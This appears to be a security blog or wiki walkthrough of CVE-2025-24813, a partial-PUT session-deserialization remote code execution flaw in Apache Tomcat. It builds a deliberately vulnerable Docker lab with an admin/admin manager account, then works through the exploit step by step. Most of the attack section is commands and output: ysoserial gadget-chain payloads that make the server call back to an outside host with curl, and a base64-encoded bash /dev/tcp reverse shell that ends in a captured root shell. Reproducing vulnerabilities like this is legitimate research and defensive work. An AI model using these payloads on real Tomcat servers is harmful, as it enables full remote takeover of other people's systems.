Tomcat - CVE-2025-24813
CVE-2025-24813 is a potential RCE and/or information disclosure and/or information corruption with partial PUT.
An attacker could achieve remote code execution if all the following conditions are true -
Writes enabled for the default servlet (disabled by default)
Support for partial PUT (enabled by default)
Application was using Tomcat's file based session persistence with the default storage location
Application included a library that may be leveraged in a deserialization attack
The vulnerability affects both Windows and Linux based installation running any of the below Apache Tomcat versions:
9.0.0.M1 <= Apache Tomcat <= 9.0.98
10.1.0-M1 <= Apache Tomcat <= 10.1.34
11.0.0-M1 <= Apache Tomcat <= 11.0.2
First available poc was published by iSee857 targeting a Windows installation, below is the Linux equivalent.
Setup test environment
To setup a test docker container we need to tweak the Dockerfile a little to include common-collections-x.x.x.jar
, as well as the non-default configuration in web.xml
and context.xml
.
<!-- web.xml (enable write for default servlet) -->
<init-param>
<param-name>readonly</param-name>
<param-value>false</param-value>
</init-param>
<!-- context.xml (file based session persistance with default storage location) -->
<Manager className="org.apache.catalina.session.PersistentManager">
<Store className="org.apache.catalina.session.FileStore"/>
</Manager>
I decided to go with Tomcat version 11.0.1 in my test environment.
# Dockerfile
# Stage 1: Build stage to copy web apps and make modifications
FROM tomcat:11.0.1 as build
# Copy the necessary configuration files
COPY ./web.xml /usr/local/tomcat/conf/web.xml
COPY ./context.xml /usr/local/tomcat/conf/context.xml
COPY ./commons-collections-3.2.1.jar /usr/local/tomcat/lib/
# Copy web applications (ROOT and manager) from the `webapps.dist` folder inside the container
RUN mkdir -p /usr/local/tomcat/webapps/ROOT && \
cp -r /usr/local/tomcat/webapps.dist/ROOT/* /usr/local/tomcat/webapps/ROOT && \
cp -r /usr/local/tomcat/webapps.dist/manager /usr/local/tomcat/webapps/manager && \
sed -i 's/allow="[^"]*"/allow=".*"/' /usr/local/tomcat/webapps/manager/META-INF/context.xml && \
sed -i '/<\/tomcat-users>/d' /usr/local/tomcat/conf/tomcat-users.xml && \
echo ' <role rolename="manager-gui"/>' >> /usr/local/tomcat/conf/tomcat-users.xml && \
echo ' <role rolename="admin-gui"/>' >> /usr/local/tomcat/conf/tomcat-users.xml && \
echo ' <user username="admin" password="admin" roles="manager-gui,admin-gui"/>' >> /usr/local/tomcat/conf/tomcat-users.xml && \
echo '</tomcat-users>' >> /usr/local/tomcat/conf/tomcat-users.xml
# Stage 2: Final image to run Tomcat
FROM tomcat:11.0.1
# Copy from the build stage
COPY --from=build /usr/local/tomcat/webapps /usr/local/tomcat/webapps
COPY --from=build /usr/local/tomcat/conf /usr/local/tomcat/conf
COPY --from=build /usr/local/tomcat/lib /usr/local/tomcat/lib
# Expose the necessary port
EXPOSE 8080
# Start Tomcat in the foreground
CMD ["catalina.sh", "run"]
$ docker build -t tomcat1101 .
$ docker run -d -p 8888:8080 --name tomcat1101 tomcat1101
Verify vulnerability
Step 1: Uploading a Malicious Serialized Session
Create some random serialized data and upload it with PUT /anything/session
. The payload is not important at this stage, we just want to verify that the target respond with HTTP 409.
kpen :: ~/tools » java -jar ysoserial-all.jar CommonsCollections7 whoami | base64 -w0
rO0ABXNyABNqYXZhLnV0a...
If we login to the docker container we can see that the new serialized session is created in the directory /usr/local/tomcat/work/Cataline/localhost/ROOT
.
Step 2: Triggering Execution via Session Cookie
Once the session file is uploaded, the attacker triggers deserialization by sending a simple GET request with the JSESSIONID pointing to the malicious session.
Tomcat, seeing this session ID, retrieves the stored file, deserializes it, and executes the embedded Java code, granting full remote access to the attacker.
I've noticed during my testing that using CommonCollections6 (cc6) will result in a HTTP 500 response, while cc7 get HTTP 200 response. Both are valid and the payload is triggered as seen below, but I guess cc7 has the edge in terms of stealth.
kpen :: ~/tomcat » java --add-opens java.base/java.util=ALL-UNNAMED -jar ../tools/ysoserial-all.jar CommonsCollections6 'curl http://172.17.0.1:4444/cc6' | base64 -w0 > cc6.ser
kpen :: ~/tomcat » java --add-opens java.base/java.util=ALL-UNNAMED -jar ../tools/ysoserial-all.jar CommonsCollections7 'curl http://172.17.0.1:4444/cc7' | base64 -w0 > cc7.ser
kpen :: ~/tomcat » python3 exp.py url.txt cc6.ser
kpen :: ~/tomcat » python3 exp.py url.txt cc7.ser
kpen :: ~/tomcat » python3 -m http.server 4444
Serving HTTP on 0.0.0.0 port 4444 (http://0.0.0.0:4444/) ...
172.17.0.2 - - [19/Mar/2025 13:10:04] code 404, message File not found
172.17.0.2 - - [19/Mar/2025 13:10:04] "GET /cc6 HTTP/1.1" 404 -
172.17.0.2 - - [19/Mar/2025 13:10:19] code 404, message File not found
172.17.0.2 - - [19/Mar/2025 13:10:19] "GET /cc7 HTTP/1.1" 404 -
POC || GTFO
## build payload
kpen :: ~/tomcat » echo "bash -i >& /dev/tcp/172.17.0.1/4444 0>&1" | base64
YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTcuMC4xLzQ0NDQgMD4mMQo=
kpen :: ~/tomcat » java --add-opens java.base/java.util=ALL-UNNAMED -jar ../tools/ysoserial-all.jar CommonsCollections6 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTcuMC4xLzQ0NDQgMD4mMQo=}|{base64,-d}|{bash,-i}' | base64 -w0 > payload.ser
## run exploit
kpen :: ~/tomcat » python3 exp.py
## capture revshell
kpen :: ~/tomcat » nc -lvnp 4444
listening on [any] 4444 ...
connect to [172.17.0.1] from (UNKNOWN) [172.17.0.2] 59082
root@1ad748140a56:/usr/local/tomcat# id && hostname
uid=0(root) gid=0(root) groups=0(root)
1ad748140a56
Last updated
Was this helpful?